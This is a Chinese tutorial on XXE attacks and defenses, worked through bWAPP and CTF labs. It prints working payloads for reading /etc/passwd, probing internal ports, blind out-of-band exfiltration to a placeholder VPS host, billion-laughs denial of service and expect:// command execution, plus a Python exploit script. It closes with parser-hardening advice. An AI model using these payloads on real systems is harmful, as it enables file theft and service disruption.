1. 程式人生 > >[Web安全] XXE漏洞攻防學習(中)

[Web安全] XXE漏洞攻防學習(中)

div ESS passwd rem __name__ uri header requests 情況下

0x00、XXE漏洞攻擊實例

攻擊思路:

1. 引用外部實體遠程文件讀取

2. Blind XXE

3. Dos

0x01、外部實體引用,有回顯

實驗操作平臺:bWAPP平臺上的XXE題目

題目:

技術分享圖片

進行抓包,點擊Any bugs?按鈕,抓包如下:

技術分享圖片

可以看到xxe-1.php頁面以POST方式向xxe-2.php頁面傳輸了XML數據。

既然是XML數據,我們就可以自己增加一個惡意外部實體,然後在原本的XML數據中進行實體調用,來進行xxe攻擊

獲取系統密碼文件 payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd"
> ]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

技術分享圖片

讀取網站目錄任意文件 payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
]>

<reset><login>&xxe;</
login><secret>Any bugs?</secret></reset>

技術分享圖片

為了加深理解,查看xxe-2.php的源碼

主要的代碼:

技術分享圖片

可以看到這裏直接用了“simplexml_load_string()”函數。

simplexml_load_string()函數的作用是把XML字符串載入對象中,函數獲取xml內容,並沒有進行任何的過濾。$login獲取login標簽裏的內容,最後拼接到$message並顯示在屏幕上

技術分享圖片

內網端口檢測 payload:

<?xml version="1.0" encoding="utf-8"?>
<!
DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

若80端口開放,回顯如下的報錯信息

技術分享圖片

若端口不開放,則顯示如下信息:

技術分享圖片

利用python寫了一個簡單的exp,進行測試,如下:

#coding=utf-8
import requests

if __name__ == __main__:
    
    payload = raw_input(輸入你想利用xxe得到的資源,如file:///etc/passwd\npayload:.decode(utf-8).encode(gbk))
    
    url = http://192.168.31.195/bWAPP/xxe-2.php
    headers = {Content-type:text/xml}
    
    cookies = {PHPSESSID:4e2c24a64c85a86bc69b09736828af9b,security_level:0}
    
    xml = <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "+ payload +">]><reset><login>&test;</login><secret>login</secret></reset>
    
    r = requests.post(url,headers=headers,cookies=cookies,data=xml)
    print xxe攻擊返回結果:.decode(utf-8).encode(gbk)
    print r.content

運行結果:

技術分享圖片

技術分享圖片

我們再來學習一下這個xxe挑戰的中級和高級的源碼

// Disables XML external entities. Doesn‘t work with older PHP versions!
    // libxml_disable_entity_loader(true);
    $xml = simplexml_load_string($body);
    
    // Debugging
    // print_r($xml);

    $login = $_SESSION["login"];
    $secret = $xml->secret;

    if($secret)
    {

        $secret = mysqli_real_escape_string($link, $secret);

        $sql = "UPDATE users SET secret = ‘" . $secret . "‘ WHERE login = ‘" . $login . "‘";

        // Debugging
        // echo $sql;      

        $recordset = $link->query($sql);

        if(!$recordset)
        {

            die("Connect Error: " . $link->error);

        }

        $message = $login . "‘s secret has been reset!";

    }

    else
    {

        $message = "An error occured!"; 

    }

分析可以看出,$login現在是直接在SEESION裏面取,不再利用xml進行提交。並且使用了mysqli_real_escape_string()函數對$secret進行了特殊字符轉義

實例二:

jarvisoj上的一道題目API調用

這道題的題目說明是 請設法獲得目標機器/home/ctf/flag.txt中的flag值。

進入題目 http://web.jarvisoj.com:9882/ 發現一個輸入框,我們對其進行抓包

技術分享圖片

是一個json數據提交,修改數據發現可以被解析

技術分享圖片

這是一道xxe的題,怎麽獲取flag?只要將json處改為xml,然後提交xml文檔即可

技術分享圖片

0x02、Blind XXE

如果服務器沒有回顯,只能使用Blind XXE漏洞來構建一條外帶數據(OOB)通道來讀取數據。

所以,在沒有回顯的情況下如何來利用XXE

技術分享圖片

思路:

1. 客戶端發送payload 1給web服務器

2. web服務器向vps獲取惡意DTD,並執行文件讀取payload2

3. web服務器帶著回顯結果訪問VPS上特定的FTP或者HTTP

4. 通過VPS獲得回顯(nc監聽端口)

本地客戶端(payload 1 )

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

由於web端會解碼,所以需要我們先html實體編碼一次

payload 2 也就是test.xml的內容(VPS)

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM ‘ftp://VPS:21/%payload;‘>">
%int;
%trick;

這個是先將SYSTEM的file協議讀取到的內容賦值給參數實體%payload,第二步是一個實體嵌套,trick是遠程訪問ftp協議所攜帶的內容

0x03、DOS

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

這個的原理就是遞歸引用,lol 實體具體還有 “lol” 字符串,然後一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “lol” 了,以此類推,lol9 實體含有 10^8 個 “lol” 字符串,最後再引用lol9。

0x04、命令執行

php環境下,xml命令執行需要php裝有expect擴展,但是該擴展默認沒有安裝,所以一般來說,比較難利用,這裏就只給出代碼了

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

0x05、防禦XXE

使用開發語言提供的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

過濾用戶提供的XML數據

過濾關鍵字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。

不允許XML中含有自己定義的DTD

[Web安全] XXE漏洞攻防學習(中)